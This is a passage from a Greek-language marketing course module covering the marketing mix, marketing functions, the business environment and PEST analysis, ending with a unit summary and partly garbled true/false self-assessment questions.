των, προϊόντων της. Παρόλο που παράγοντες άλλοι πλην της τιμής έχουν αποκτήσει μεγαλύτερη σπουδαιότητα στη συμπεριφορά του αγοραστή στις πρόσφατες δεκαετίες. Η τιμή συνεχίζει να παραμένει ένας από τους πιο σημαντικούς παράγοντες που καθορίζουν το μερίδιο, αγοράς της εταιρίας και την αποδοτικότητά της. Εξάλλου, η τιμή είναι η μόνη, από τα συστατικά του μίγματος μάρκετινγκ, που παράγει έσοδα. Είναι λοιπόν φανερή η,

σπουδαιότητα της επιλογής της κατάλληλης στρατηγικής τιμολόγησης για το εκάστοτε, προϊόν. Διανομή Τα κανάλια διανομής (τόπος) συνίστανται στην εξεύρεση των κατάλληλων σημείων, πώλησης των προϊόντων ή των υπηρεσιών μας. Επίσης, συνίστανται στη γεωγραφική κάλυψη που προσφέρουμε. Για παράδειγμα, θα πωλούμε τα κρουασάν που, κατασκευάζουμε σε super market ή/και σε περίπτερα, στην Αττική ή/και σε όλη την υπόλοιπη Ελλάδα. Αποφάσεις που σχετίζονται με τα κανάλια διανομής έχουν πολύ μεγάλη, σημασία (χωρίς να υποτιμάται η μεγάλη σημασία των υπόλοιπων στοιχείων του μίγματος μάρκετινγκ) διότι τα μέρη στα οποία διατίθενται ή όχι τα προϊόντα μας επηρεάζουν άμεσα, τις πωλήσεις μας. Προώθηση Τον πόλεμο των μηνυμάτων θα τον κερδίσουν αυτοί που στέλνουν αλλά και παίρνουν, περισσότερα μηνύματα. Η προώθηση ή αλλιώς το μίγμα προβολής και επικοινωνίας (ή μίγμα επικοινωνίας) συνίσταται στην: Διαφήμιση, Προσωπική Πώληση, Προώθηση, Πωλήσεων που είναι στην ουσία ενέργειες που αφορούν την βραχυχρόνια (κυρίως) αύξηση των πωλήσεων και έχουν ως σκοπό να τονώσουν την ζήτηση ενός προϊόντος για ένα συγκεκριμένο χρονικό διάστημα, και στις Δημόσιες σχέσεις. Οι Δημόσιες Σχέσεις, αναφέρονται στην προσπάθεια μίας επιχείρησης ενός οργανισμού ή ενός κόμματος, πολιτικού προσώπου κ.τ.λ. να προβληθεί ευρέως και να δημιουργήσει θετική εικόνα, γύρω,από το πρόσωπό του/της. Σύμφωνα με τον ορισμό που διατυπώθηκε το 1994 σε παγκόσμιο συνέδριο και είναι, γνωστό σαν «Mexican Statement»: «Δημόσιες Σχέσεις είναι η διαχείριση της φήμης σαν αποτέλεσμα των πράξεων, των μηνυμάτων και της αντίληψης των άλλων για αυτά». Οι δημόσιες σχέσεις διαφέρουν από την Διαφήμιση στο γεγονός ότι οι πρώτες βασίζονται στην δημοσιότητα η οποία αποκτάται χωρίς αμοιβή. Βέβαια σε μία επιχείρηση αναλώνονται, πόροι χρηματικοί και μη για την αύξηση της δημοσιότητας αλλά η ενέργεια αυτή διαφέρει σημαντικά από την διαφήμιση. Η διαφήμιση μπορεί να γίνει με πολλά μέσα π.χ. τηλεόραση, αφίσες, περιοδικά, ραδιόφωνο κ.α. Η προσωπική πώληση γίνεται μέσω των πωλητών της, επιχείρησης. Η προώθηση συνίσταται σε ενέργειες που σκοπό έχουν να επιτύχουν μεγαλύτερες, πωλήσεις π.χ. κουπόνια, δωρεάν δείγματα, προώθηση μέσα στο κατάστημα κ.α. Τέλος οι δημόσιες σχέσεις αποσκοπούν στη δημιουργία δημοσιότητας και θετικής εικόνας για την, επιχείρηση και τα προϊόντα που διαθέτει.

Η δουλειά του μάρκετινγκ είναι να γνωρίζει και να κατανοεί τον πελάτη τόσο καλά, ώστε το προϊόν ή υπηρεσία να τον ικανοποιεί και να πουλά από μόνο του/της. Το μάρκετινγκ θα προετοιμάσει τον πελάτη για να προβεί στην αγορά. Το μόνο που χρειάζεται είναι να, σχεδιάσει και να παρουσιάσει το προϊόν ή την υπηρεσία στην ολοκληρωμένη του-της «μορφή».

Έτσι λοιπόν το μάρκετινγκ πρέπει να δίνει μεγαλύτερη έμφαση στις,

δραστηριότητες οι οποίες προηγούνται της απόφασης που λαμβάνεται για την παραγωγή ενός αγαθού ή μιας υπηρεσίας, καθώς επίσης και των αποφάσεων για προμήθειες παραγωγικών συντελεστών. Στο πλαίσιο λοιπόν της συνολικής δραστηριότητας του, τμήματος μάρκετινγκ

αναπτύχθηκε ένα πλέγμα από πολλές και διάφορες μικρότερες

εξειδικευμένες λειτουργίες, τις σημαντικότερες από τις οποίες αναφέρουμε πιο κάτω. Η έρευνα αγοράς προϊόντων Η συλλογή πληροφοριών σχετικά με το μέγεθος, τη σύνθεση, τις ιδιαιτερότητες και τα άλλα χαρακτηριστικά μιας ορισμένης αγοράς είναι απολύτως απαραίτητες για τη λήψη σωστών αποφάσεων εκ μέρους της επιχείρησης, ώστε «η δημιουργία προϊόντων ή υπηρεσιών, να καλύπτει πλήρως τις ανάγκες και επιθυμίες του καταναλωτικού κοινού». Ο προγραμματισμός και η ανάπτυξη προϊόντων Προσδιορίζει με τη μεγαλύτερη δυνατή ακρίβεια τι προϊόντα θα παραχθούν, με ποια ειδικά χαρακτηριστικά και ιδιότητες καθώς επίσης σε ποια τιμή και ποσότητα, ώστε να καλυφθεί πλήρως η αγορά-στόχος για την οποία προορίζονται τα προϊόντα ή υπηρεσίες. Η προμήθεια συντελεστών παραγωγής προϊόντων Η έγκαιρη προμήθεια των πρώτων υλών οι οποίες είναι απαραίτητες για την παραγωγή ορισμένων

προϊόντων

δίνουν

την

δυνατότητα

στην

επιχείρηση

«πλεονέκτημα,

διαπραγμάτευσης», στην επιλογή των προμηθευτών ώστε να της εξασφαλίζει καλύτερη τιμή αγοράς με αποτέλεσμα λιγότερο λειτουργικό κόστος και κατ’ επέκταση μικρότερο κόστος στο προϊόν της. Η τυποποίηση προϊόντων Αποβλέπει την καθιέρωση προδιαγραφών παραγωγής έτσι ώστε τα προϊόντα που, παράγονται και προωθούνται στην αγορά από την επιχείρηση να μην παρουσιάζουν διαφορές σε ότι αφορά στην ποιότητα, σύνθεση, εμφάνιση κ.λπ., ο δε καταναλωτής ή χρήστης όχι μόνο να γνωρίζει προκαταβολικά τι αγοράζει, αλλά να έχει και απόλυτη, εμπιστοσύνη ότι αυτό που αγοράζει είναι αυτό που ακριβώς θέλει και ζητά να αποκτήσει.

Η αποθεματοποίηση προϊόντων Εξυπηρετεί τη χρησιμότητα του χρόνου και συνίσταται στη συγκέντρωση και διατήρηση, προϊόντων μόνο υλικών στην προκειμένη περίπτωση, έτσι ώστε να είναι διαθέσιμα όταν ζητηθούν στην αγορά από τους καταναλωτές ή χρήστες.

Η διανομή προϊόντων Αναφέρεται στη φυσική διανομή των προϊόντων μέσα στην αγορά, και στοχεύει στην, καλύτερη δυνατή εξυπηρέτηση του καταναλωτικού κοινού. Η διανομή γίνεται άμεσα ή έμμεσα από τις επιχειρήσεις δηλαδή απευθείας από αυτές ή δια μέσου των μεσαζόντων του μάρκετινγκ. Η χρηματοδότηση πωλήσεων προϊόντων Δίνεται αποκλειστικά στους διακανονισμούς που κρίνονται εντελώς απαραίτητοι για την απρόσκοπτη προώθηση των προϊόντων της επιχείρησης στην αγορά και κατ’ επέκταση, στους καταναλωτές ή χρήστες. Η προώθηση προϊόντων Περιλαμβάνει όλες τις δραστηριότητες που συμβάλλουν αποφασιστικά στη σωστή, παρουσίαση και υποστήριξη των προϊόντων που παράγει και προωθεί η επιχείρηση στην αγορά για να πουληθούν. Tο Περιβάλλον Της Επιχείρησης Οι επιχειρήσεις λειτουργούν μέσα σε ένα πολυσύνθετο, αβέβαιο και ασταθές περιβάλλον, το οποίο είναι αρκετά ισχυρό και ικανό να επηρεάσει δυναμικά τη λειτουργία τους. Σήμερα, περισσότερο από κάθε άλλη εποχή οι επιχειρήσεις όλων των κλάδων αντιμετωπίζουν, καταιγιστικές αλλαγές προερχόμενες από το εξωτερικό τους περιβάλλον, το οποίο αλλάζει διαρκώς, και αυτές καλούνται να επιδείξουν προσαρμοστικότητα, προκειμένου να, επιβιώσουν και να αναπτυχθούν. Η προσαρμοστικότητα τις κάνει να αναπτύσσονται, να ελαχιστοποιούν το κόστος τους και να γίνονται έτσι ανταγωνιστικές. Όσες δεν το καταφέρουν χάνονται. Ως περιβάλλον μπορούμε να ορίσουμε όλες τις δυνάμεις που, μπορούν να επηρεάσουν την επιχείρηση και τη λειτουργία της. Οι επιχειρήσεις έχουν βασικό σκοπό τη δημιουργία πλούτου και την ικανοποίηση όλων των ενδιαφερόμενων μερών από τη διοικητική λειτουργία της. Αυτό έχει άμεση συνέπεια την αλληλεπίδραση με το περιβάλλον της, δηλαδή υπάρχει μια αμφίδρομη σχέση μεταξύ, επιχείρησης περιβάλλοντος η οποία

σχέση λειτουργεί με την ικανή και αναγκαία συνθήκη: επηρεασμός της επιχείρησης από το εξωτερικό περιβάλλον, επηρεασμός της επιχείρησης, στο περιβάλλον. Επηρεασμός της επιχείρησης από το εξωτερικό περιβάλλον Η επίδραση του εξωτερικού περιβάλλοντος είναι καθοριστική για την αποτελεσματικότητα της επιχείρησης, γιατί από το περιβάλλον προμηθεύεται τις πρώτες ύλες, βρίσκει το, ανθρώπινο δυναμικό που χρησιμοποιεί, τη δυνατότητα πρόσβασης, δηλαδή εάν υπάρχουν ή δεν υπάρχουν έργα υποδομής, κ.ά. Όλα τα στοιχεία αυτά επηρεάζουν θετικά ή αρνητικά, τη λειτουργία της επιχείρησης. Ο επηρεασμός της επιχείρησης στο περιβάλλον Η επιχείρηση επιδρά στο περιβάλλον που δραστηριοποιείται γιατί προσφέρει εργασία, μολύνει ή μη την ατμόσφαιρα, διαμορφώνει την αξία της γης με τις εγκαταστάσεις της κ.ά. Συνεπώς η σχέση της επιχείρησης με το περιβάλλον είναι σχέση που καθιστά την επιχείρηση οικονομικά σκόπιμη και ακολούθως κοινωνικά ωφέλιμη. Η μελέτη και, αξιολόγηση των στοιχείων του εξωτερικού περιβάλλοντος είναι απαραίτητη προϋπόθεση για την προσαρμογή, ανάπτυξη και βιωσιμότητα της επιχείρησης μέσα στο έντονο ανταγωνιστικό περιβάλλον. Οι επιχειρήσεις λειτουργούν και δραστηριοποιούνται σε ένα εξωτερικό περιβάλλον που περιλαμβάνει τόσο ευκαιρίες όσο και απειλές. Οι σύγχρονες παγκόσμιες εξελίξεις, η απελευθέρωση αγορών, το ηλεκτρονικό εμπόριο, οι ραγδαίες, αλλαγές σε τεχνολογίες παραγωγής είναι από τις πιο σημαντικές δυνάμεις που επηρεάζουν τη λειτουργία της επιχείρησης. Το περιβάλλον του μάρκετινγκ αποτελείται από όλες τις, δυνάμεις που μπορούν να επηρεάσουν την ικανότητα της επιχείρησης να πραγματοποιήσει εμπορικές συναλλαγές με την αγορά-στόχο. Το περιβάλλον της επιχείρησης διακρίνεται σε: 1. Εξωτερικό περιβάλλον 2. Εσωτερικό περιβάλλον Το εξωτερικό περιβάλλον της επιχείρησης είναι ο χώρος, όπου η διοίκηση της επιχείρησης πρέπει να αναζητεί ευκαιρίες και πιθανές απειλές. Οι οικονομικοί οργανισμοί βρίσκονται μέσα σε ένα περιβάλλον που επηρεάζει τον τρόπο με τον οποίο αυτοί λειτουργούν. Οι παράγοντες που είναι εξωτερικοί προς την επιχείρηση αποκαλούνται εξωτερικό, περιβάλλον. Με τον όρο εξωτερικό περιβάλλον μπορούμε να ορίσουμε τα στοιχεία που συνθέτουν και διαμορφώνουν το ευρύτερο πλαίσιο μέσα στο οποίο λαμβάνονται, σημαντικές

επιχειρηματικές αποφάσεις οι οποίες επηρεάζουν καθοριστικά τη λειτουργία και τις επιδόσεις της. Η μελέτη και αξιολόγηση των στοιχείων του εξωτερικού, περιβάλλοντος επηρεάζει την ικανότητα της επιχείρησης να επιβιώνει μέσα στον έντονο ανταγωνισμό, καθώς και την ικανότητά της να συναλλάσσεται αποτελεσματικά με την «αγορά-στόχο» της. Η ανάλυση του εξωτερικού περιβάλλοντος θεωρείται εδώ και πολλά χρόνια θεμελιώδης παράγοντας για τη δημιουργία, τη διατήρηση και την ανάπτυξη κάθε οικονομικής μονάδας. Αυτό είναι αποτέλεσμα του γεγονότος ότι η κάθε επιχείρηση λαμβάνει από το εξωτερικό, περιβάλλον τις πρώτες και βοηθητικές ύλες για την παραγωγή της, καθώς και το κατάλληλο έμψυχο δυναμικό για τις δραστηριότητές της. Επίσης αναζητεί και βρίσκει πελάτες για να, διαθέτει τα προϊόντα ή τις υπηρεσίες που παράγει και χρησιμοποιεί τις πληροφορίες που αφορούν το εξωτερικό περιβάλλον, για να πάρει σωστές αποφάσεις. Ακόμη συναλλάσσεται με τράπεζες, φορολογείται για τα κέρδη της, ακολουθεί τους, κανόνες που επιβάλλει η κρατική εξουσία και γενικά βρίσκεται σε μια συνεχή αλληλεξάρτηση με το εξωτερικό της περιβάλλον. Το εξωτερικό περιβάλλον μέσα στο οποίο δραστηριοποιούνται οι σύγχρονες επιχειρήσεις δεν είναι σταθερό, εξελίσσεται ραγδαία, με μια ιδιαίτερη ροπή σε γεγονότα και καταστάσεις οι οποίες συμπιέζονται

από σημαντικές, οικονομικές

παραμέτρους. Απαραίτητη λοιπόν για τις σύγχρονες επιχειρήσεις θεωρείται η έγκαιρη «ψηλάφησή» του, η ανάλυσή του, η διάγνωση των απειλών, αλλά και των ευκαιριών. Οι ευκαιρίες για τους μάνατζερ είναι να αυξήσουν τα έσοδα χρησιμοποιώντας νέες τεχνολογίες, καινούριες, αγορές και πρωτοπόρες ιδέες. Οι απειλές αφορούν παράγοντες που μπορούν να βλάψουν την επιχείρηση, όπως η οικονομική ύφεση ή η πετρελαϊκή κρίση. Η δουλειά των μάνατζερ είναι να ψάξουν για ευκαιρίες και να αποφύγουν τις απειλές. Σήμερα, περισσότερο από, κάθε άλλη εποχή οι επιχειρήσεις όλων των κλάδων αντιμετωπίζουν καταιγιστικές αλλαγές προερχόμενες από το εξωτερικό τους περιβάλλον. Μερικοί από τους παράγοντες αλλαγής είναι: 1. Η παγκοσμιοποίηση των αγορών, κυρίως με τη χρήση του ηλεκτρονικού εμπορίου 2. Η απελευθέρωση της κίνησης κεφαλαίων και η καθιέρωση του ευρώ 3. Ο εντεινόμενος ανταγωνισμός με την είσοδο ή μη παραδοσιακών παικτών 4. Η δημιουργία ηλεκτρονικών καταστημάτων στο διαδίκτυο 5. Οι αυξημένες απαιτήσεις του καταναλωτικού κοινού Ανάλυση του εξωτερικού περιβάλλοντος

Το εξωτερικό περιβάλλον διακρίνεται Στο ευρύτερο μακρό-περιβάλλον (Pest Analysis), δηλαδή των δυνάμεων του περιβάλλοντος που επηρεάζουν όλες τις επιχειρήσεις, και στο μικρό-περιβάλλον (μοντέλο porter), δηλαδή των αλλαγών του περιβάλλοντος που αφορούν μόνο τον συγκεκριμένο κλάδο στον οποίο ανήκει η επιχείρηση. Ας σημειωθεί ότι όσον αφορά την κατάστρωση στρατηγικής στα πλαίσια του επιχειρηματικού μάνατζμεντ, πρέπει να βλέπει κανείς το, εξωτερικό περιβάλλον και την εσωτερική κατάσταση μιας επιχείρησης στρατηγικά. Με άλλα λόγια, η ανάλυση δεν αποσκοπεί στην ατέλειωτη συλλογή λεπτομερών στοιχείων και πληροφοριών αλλά και στην ανάλυση στοιχείων και πληροφοριών που έχουν άμεση επίδραση στην πορεία της επιχείρησης. Η ανάλυση σκοπεύει στην εξερεύνηση, συγκεκριμένων θεμάτων με βάση τα οποία ένας μάνατζερ να μπορεί να καθορίσει και να αξιολογήσει τις στρατηγικές επιλογές του. Η προσαρμογή μιας σύγχρονης επιχειρηματικής μονάδας στις μεταβολές του εξωτερικού περιβάλλοντος προϋποθέτει μελέτη, ανάλυση και, αντιμετώπιση των πολιτικών, οικονομικών, κοινωνικών και τεχνολογικών παραγόντων. Το ευρύτερο μακρό-περιβάλλον, το οποίο επιδρά στις λειτουργίες της επιχείρησης διακρίνεται σε τέσσερις παράγοντες: Οι πολιτικοί παράγοντες περιλαμβάνουν το θεσμικό πλαίσιο μέσα στο οποίο δρα η, επιχείρηση σε τοπικό, αλλά και διεθνές επίπεδο. Το πολιτικό περιβάλλον επηρεάζει άμεσα την επιχείρηση και όλες τις επιχειρήσεις της χώρας. Ο παράγοντας αυτός αναφέρεται στους νόμους, τους κυβερνητικούς φορείς και τις διάφορες ομάδες πίεσης που, επηρεάζουν τις σύγχρονες επιχειρήσεις είτε άμεσα είτε έμμεσα. Για παράδειγμα, η προσθήκη ή η αφαίρεση ενός νομοθετικού περιορισμού από το κράτος είναι δυνατόν να φέρει σημαντικές απειλές ή ευκαιρίες για τις οικονομικές μονάδες που δραστηριοποιούνται στη συγκεκριμένη χώρα. Γενικότερα, η πολιτική κατάσταση που, επικρατεί σε μια χώρα καθώς και η πιθανότητα μεταβολής της από διάφορα πολιτικά περιστατικά όπως η απαγόρευση εξαγωγής των κερδών, οι απεργίες, οι τιμολογιακοί και, φορολογικοί έλεγχοι, η γραφειοκρατία, οι κρατικοποιήσεις, η ακύρωση οικονομικών συμφωνιών, αποκαλείται οικονομικός κίνδυνος. Οι οικονομικές μονάδες που θέλουν να επιβιώσουν θα πρέπει να μελετούν σε βάθος τις αντιλήψεις των πολιτικών κομμάτων της χώρας, τις πολιτικές συμφωνίες που πραγματοποιούνται σε εθνικό αλλά και διεθνές, επίπεδο, καθώς επίσης και τις σχέσεις της κυβέρνησης με τις επιχειρήσεις, αλλά και την πολιτική της απέναντι στα μονοπώλια και τον ανταγωνισμό. Με τον όρο «πολιτικό, περιβάλλον» εννοούμε τη γενικότερη πολιτική κατάσταση της χώρας, στην οποία ένας ή περισσότεροι οργανισμοί δραστηριοποιούνται, και το οποίο επηρεάζει άμεσα τις,

λειτουργίες τους, ταυτόχρονα όμως κάποιες επιχειρήσεις κολοσσοί επηρεάζουν οι ίδιες το πολιτικό περιβάλλον μέσω των ενεργειών τους. Οι επιχειρήσεις λειτουργούν καλύτερα υπό το πρίσμα ενός σταθερού πολιτικού περιβάλλοντος, για να μπορούν να εφαρμόζουν τον σχεδιασμό τους ανεπηρέαστες από συχνές αλλαγές. Στο πολιτικό περιβάλλον εντάσσονται οι εξής μεταβλητές: 1. Η σταθερότητα της κυβέρνησης 2. Το είδος της κυβερνητικής πολιτικής 3. Η οικονομική πολιτική 4. Η φορολογική πολιτική 5. Η εργατική νομοθεσία 6. Οι περιβαλλοντολογικοί νόμοι 7. Τα ειδικά κίνητρα 8. Ο βαθμός αντίδρασης στις πολιτικές αποφάσεις Η προσθήκη ή η αφαίρεση ενός νομοθετικού ή ρυθμιστικού πλαισίου από την κυβέρνηση μιας χώρας είναι δυνατόν να δημιουργήσει σημαντικές στρατηγικές απειλές όσο και, ευκαιρίες για τις επιχειρήσεις εκείνες που δραστηριοποιούνται στη συγκεκριμένη χώρα. Η μελέτη και η συνεχής παρακολούθηση του πολιτικού περιβάλλοντος είναι απαραίτητη για, τις πολυεθνικές επιχειρήσεις που δραστηριοποιούνται σε περισσότερες από μία χώρες και επομένως λειτουργούν κάτω από εντελώς διαφορετικές πολιτικές και νομικές συνθήκες. Ο οικονομικός παράγοντας αναφέρεται στο οικονομικό περιβάλλον της επιχείρησης. Τα στοιχεία που συνθέτουν το οικονομικό περιβάλλον είναι τα εξής: 1. Η αγορά από την οποία η επιχείρηση προμηθεύεται τις απαιτούμενες ποσότητες των συντελεστών της παραγωγής 2. Η αγορά στην οποία διαθέτει τα προϊόντα της 3. Ο κλάδος στον οποίο ανήκει η επιχείρηση ή και άλλες επιχειρήσεις, των οποίων τα προϊόντα μπορεί να είναι ή και να μην είναι μεταξύ τους ανταγωνιστικά 4. Η κυβέρνηση που μπορεί να είναι αγοραστής των προϊόντων της οικονομικής μονάδας, επηρεάζοντας έτσι την αγορά μέσα από τις δραστηριότητες που ασκεί ως κράτος, αγοραστής

Η σημασία του οικονομικού περιβάλλοντος είναι σημαντική όχι μόνο γιατί αυτό καθορίζει με άμεσο τρόπο τις συνθήκες της επιχειρηματικής δράσης, αλλά και γιατί μέσα από το, συγκεκριμένο περιβάλλον ασκείται η επίδραση των στοιχείων που συνθέτουν το πολιτικό ή νομικό, τεχνολογικό και κοινωνικό ή πολιτιστικό περιβάλλον των εταιρειών (οικονομικών μονάδων). Το οικονομικό περιβάλλον αποτελεί ένα σύνθετο περιβάλλον αποτελούμενο από πληθώρα μεταβλητών, οι οποίες επηρεάζουν τόσο τις δραστηριότητες των επιχειρήσεων, όσο και την πορεία τους σε εθνικό αλλά και διεθνές επίπεδο. Μερικές από τις κρίσιμες, οικονομικές μεταβλητές είναι ο ρυθμός ανάπτυξης του ΑΕΠ, το διαθέσιμο εισόδημα, η προσφορά χρήματος, το επίπεδο ανεργίας, η νομισματική και δημοσιονομική πολιτική κ.λπ. Το Κοινωνικοπολιτιστικό περιβάλλον έχει σχέση με τα πιστεύω, τις αξίες και τα ιδανικά που διακρίνουν τα μέλη μιας ομάδας από τα μέλη κάποιας άλλης. Ο παράγοντας αυτός είναι, πολύ σημαντικός για τις επιχειρήσεις καθώς αποτελούν έναν μικρόκοσμο της ευρύτερης κοινωνίας. Η λειτουργία τους θα πρέπει να προσαρμόζεται σύμφωνα με τα πιστεύω, τις αξίες, αλλά και την ιδεολογία των ανθρώπων στους οποίους απευθύνονται. Οι ρυθμοί αύξησης του πληθυσμού, η καριέρα, οι αλλαγές στον τρόπο ζωής, οι καταναλωτικές, οργανώσεις, η γήρανση του πληθυσμού, η εκτιμώμενη μέση διάρκεια ζωής, οι μετακινήσεις του πληθυσμού, η διεκδίκηση των γυναικών για ίσες ευκαιρίες με τους άνδρες (ισότητα), η έξαρση της εγκληματικότητας, οι συνθήκες εργασίας, η μείωση του ρυθμού των γεννήσεων στις αναπτυγμένες χώρες, οι μεταβολές στον τρόπο διασκέδασης και στις διατροφικές, συνήθειες, είναι οι σημαντικότεροι κοινωνικοπολιτιστικοί παράγοντες που επηρεάζουν τη λειτουργία της επιχείρησης. Ο τεχνολογικός εκσυγχρονισμός συνιστά σήμερα βασική προϋπόθεση για να διατηρεί μια εταιρεία την ανταγωνιστική της θέση στην αγορά. Οι αλλαγές στο τεχνολογικό περιβάλλον, είναι τόσο γρήγορες που οι επιχειρήσεις θα πρέπει να ενημερώνονται διαρκώς για να αναπτύξουν νέες τεχνολογίες ικανές να τους προσφέρουν νέες ευκαιρίες για την απόκτηση ισχυρού ανταγωνιστικού πλεονεκτήματος. Οι τεχνολογικές τάσεις ή τα επιτεύγματα που, λαμβάνουν χώρα έξω από την αγορά μπορεί να έχουν σημαντική επίδραση στην επιχείρηση και τη στρατηγική της. Οι τάσεις αυτές αποτελούν ευκαιρίες για όσες επιχειρήσεις έχουν τη δυνατότητα να τις εκμεταλλευτούν και να τις εισαγάγουν αποτελεσματικά στις δραστηριότητές τους. Η εμφάνιση μιας νέας τεχνολογίας δεν σημαίνει απαραίτητα ότι οι επιχειρήσεις οι οποίες εμμένουν στην προηγούμενη τεχνολογία θα αντιμετωπίσουν το, φάσμα της εξαφάνισης. Συχνά είναι δύσκολο να εκτιμηθούν με οποιαδήποτε βεβαιότητα οι μακροχρόνιες συνέπειες τις οποίες μια νέα τεχνολογία θα προκαλέσει σε έναν κλάδο. Ορισμένοι παράγοντες που επηρεάζουν τη λειτουργία της επιχείρησης και αποτελούν το

τεχνολογικό περιβάλλον είναι η δημιουργία νέων προϊόντων λόγω τεχνολογικών καινοτομιών, η ύπαρξη τηλεπικοινωνιακών υποδομών, η προστασία διπλώματος, ευρεσιτεχνίας (πατέντας) κ.λπ. Τα στοιχεία που συνθέτουν το τεχνολογικό περιβάλλον αποτελούν βασικές μεταβλητές που πρέπει συνεχώς να εξετάζονται, προκειμένου να διαμορφωθεί η γενική στρατηγική της επιχείρησης για αποδοτική λειτουργία και ανάπτυξη. Στην Ελλάδα, η εθνική δαπάνη για, έρευνα και τεχνολογία βρίσκεται σε ιδιαίτερα χαμηλά επίπεδα σε σχέση με τις άλλες χώρες της Ευρωπαϊκής ΄Ενωσης. Επίσης λίγες επιχειρήσεις στην Ελλάδα διαθέτουν τμήμα έρευνας και ανάπτυξης (Research and Development) και διαθέτουν πόρους για την ανάπτυξη νέων, προϊόντων, τη βελτίωση της παραγωγικότητας με την εφαρμογή του αυτοματισμού, την ανάπτυξη ευρεσιτεχνιών κ.λπ. Πολλά χαρακτηριστικά του στοιχεία έχουν αλλάξει δραστικά σε σχέση με τα προηγούμενα χρόνια και οι εξελίξεις είναι ταχύτατες. Η δομή της αγοράς έγινε πολύ ανταγωνιστική, η πίεση που ασκούν οι πελάτες είναι ισχυρότερη, ο ρυθμός, ανάπτυξης των διαφόρων αγορών πραγματοποιείται με ταχείς και συχνά μη προβλέψιμους ρυθμούς. Ακόμη, ο κύκλος ζωής των προϊόντων έχει σμικρυνθεί σε σχέση με το παρελθόν, ενώ παράλληλα η διαφοροποίησή τους έχει προχωρήσει σε υπερβολικό βαθμό, με αποτέλεσμα να αναπτύσσονται συνεχώς νέα προϊόντα. Οι επιχειρήσεις προτιμούν να επιμηκύνουν τη φάση της ωρίμανσης του κύκλου ζωής των προϊόντων τους, παρά να μπαίνουν στη, διαδικασία ανάπτυξης νέων προϊόντων που θα ακολουθούν τον παραδοσιακό κύκλο ζωής με τις φάσεις της εισαγωγής, ανάπτυξης, ωρίμανσης και παρακμής. Εκτός αυτού, τα όρια μεταξύ των διαφόρων κλάδων είναι περισσότερο δυσδιάκριτα και ασαφή απ’ ό,τι στο, παρελθόν, με αποτέλεσμα οι επιχειρήσεις να αντιμετωπίζουν πολύ μεγαλύτερο αριθμό ανταγωνιστών. Όλοι αυτοί οι παράγοντες, σε συνδυασμό με το γεγονός ότι το περιβάλλον που έχει να αντιμετωπίσει κάθε επιχείρηση είναι ολοένα και περισσότερο πολύπλοκο, εφόσον είναι, πολύ περισσότερες οι ομάδες ενδιαφερόντων (stakeholders) που επηρεάζουν τη δράση της, έχουν σαν αποτέλεσμα να απαιτείται συνεχής αναπροσαρμογή της επιχείρησης απέναντι στα διαφορετικά είδη περιβάλλοντος. Συμπερασματικά, αναλύοντας η επιχείρηση τα στοιχεία αυτά, μπορεί να διαβλέψει τις μελλοντικές τάσεις στο ευρύτερο περιβάλλον της (λ.χ. οικονομική κρίση, τεχνολογική καινοτομία, κοινωνική σύγχυση κ.λπ.). Υπάρχουν, παράγοντες του εξωτερικού περιβάλλοντος που αντικατοπτρίζουν μακροπρόθεσμες μεταβολές και παράγοντες που είναι περισσότερο ευμετάβλητοι όπως είναι για, παράδειγμα η αγοραστική (διαθέσιμη) δύναμη των νοικοκυριών.

Έτσι τα στελέχη των οικονομικών μονάδων που ασχολούνται με την στρατηγική της μονάδας τους, θα πρέπει να λαμβάνουν σοβαρά υπόψη τους όλους αυτούς τους παράγοντες του μακρόπεριβάλλοντος. Σκοπός κάθε επιχείρησης είναι να συνδυάσει, κατάλληλα αυτές τις δυνάμεις, για να έχει πλεονέκτημα έναντι των ανταγωνιστών της. Στην πραγματικότητα το ανταγωνιστικό περιβάλλον είναι εκείνο στο οποίο αναπτύσσεται η, επιχείρηση. Η ανάλυση των παραπάνω παραγόντων γνωστή και ως Pest Analysis είναι ένα στρατηγικό εργαλείο του Μάρκετινγκ που χρησιμοποιείται για την ανάλυση του Μακρο-περιβάλλοντος μίας επιχείρησης καθώς: 1. Βοηθά στην καταγραφή και κατανόηση της υφιστάμενης κατάστασης της αγοράς 2. Προσανατολίζει σωστά στον προγραμματισμό και στη λήψη αποφάσεων 3. Είναι απαραίτητο εργαλείο για την ανάλυση του εσωτερικού περιβάλλοντος της, επιχείρησης SWOT analysis με την οποία λειτουργεί συμπληρωματικά. Είναι απαραίτητο εργαλείο για την κατάστρωση επιχειρηματικού σχεδίου (business plan).

Σύνοψη Εκπαιδευτικής Ενότητας 9 Στην ενότητα 9, παρουσιάστηκαν αντικείμενα που αναφέρονται: Βασικές Έννοιες Μάρκετινγκ, Φάσεις και Εξέλιξη του Μάρκετινγκ, Προσανατολισμός στην Παραγωγή, Προσανατολισμός προς τις πωλήσεις, Προσανατολισμός στο Marketing και την αγορά, Προσανατολισμός στο κοινωνικό μάρκετινγκ, Οι 5 αντιλήψεις του Marketing, Ανάλυση του Μάρκετινγκ, Ανακρίβειες στην κατανόηση του Μάρκετινγκ, Μίγμα Mάρκετινγκ, Λειτουργίες Mάρκετινγκ

Ερωτήσεις Αυτοαξιολόγησης Εκπαιδευτικής Ενότητας 9 Επιλέξτε τη σωστή απάντηση στις παρακάτω ερωτήσεις / διατυπώσεις

ΕΡΩΤΗΣΗ

1

ΑΠΑΝΤΗΣΗ 1

ΕΡΩΤΗΣΗ

2

Το μάρκετινγκ αφορά τους πελάτες. Α

ΣΩΣΤΟ

Β

ΛΑΘΟΣ

Ο στόχος του μάρκετινγκ των εταιρειών είναι να προσελκύουν νέους

πελάτες αλλά και για να κρατούν τους υπάρχοντες πελάτες τους . ΑΠΑΝΤΗΣΗ 2

ΕΡΩΤΗΣΗ

3

ΑΠΑΝΤΗΣΗ 3

ΕΡΩΤΗΣΗ

4

Α

ΣΩΣΤΟ

Β

ΛΑΘΟΣ

Σήμερα, το μάρκετινγκ εφαρμόζεται ευρέως σε όλο τον κόσμο Α

ΣΩΣΤΟ

Β

ΛΑΘΟΣ

Η πιο βασική έννοια του μάρκετινγκ είναι αυτή των ανθρώπινων

αναγκών. ΑΠΑΝΤΗΣΗ 4

ΕΡΩΤΗΣΗ

5

Α

ΣΩΣΤΟ

Β

ΛΑΘΟΣ

Οι άνθρωποι έχουν στενές, βασικές ανάγκες αλλά και περιπρισμένες

επιθυμίες: ΑΠΑΝΤΗΣΗ 5

ΕΡΩΤΗΣΗ

6

Α

ΣΩΣΤΟ

Β

ΛΑΘΟΣ

Οι πελάτες συχνά δεν κρίνουν τις αξίες και το κόστος των προϊόντων με

